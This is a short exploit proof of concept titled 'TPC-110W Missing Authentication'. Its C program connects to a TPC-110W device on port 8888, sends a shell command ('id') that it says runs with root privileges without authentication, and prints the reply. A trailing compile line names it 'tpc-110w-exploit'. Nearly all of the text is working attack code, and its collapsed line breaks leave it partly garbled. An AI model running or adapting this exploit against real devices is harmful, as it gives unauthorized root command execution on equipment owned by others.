TPC-110W Missing Authentication

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <arpa/inet.h>#include <unistd.h>int main(int argc, char *argv[]) {    int sock;    struct sockaddr_in serv_addr;    char command[512];    sock = socket(AF_INET, SOCK_STREAM, 0);    if (sock < 0) {        perror("socket");        exit(1);    }    memset(&serv_addr, '0', sizeof(serv_addr));    serv_addr.sin_family = AF_INET;    serv_addr.sin_port = htons(8888); // The default port of TPC-110W is 8888    if (inet_pton(AF_INET, "192.168.1.10", &serv_addr.sin_addr) <= 0) { // Assuming the device's IP address is 192.168.1.10        perror("inet_pton");        exit(1);    }    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {        perror("connect");        exit(1);    }    // Run command with root privileges    snprintf(command, sizeof(command), "id\n"); // Check user id    write(sock, command, strlen(command));    memset(command, '0', sizeof(command));    read(sock, command, sizeof(command));    printf("%s\n", command);    close(sock);    return 0;}//gcc -o tpc-110w-exploit tpc-110w-exp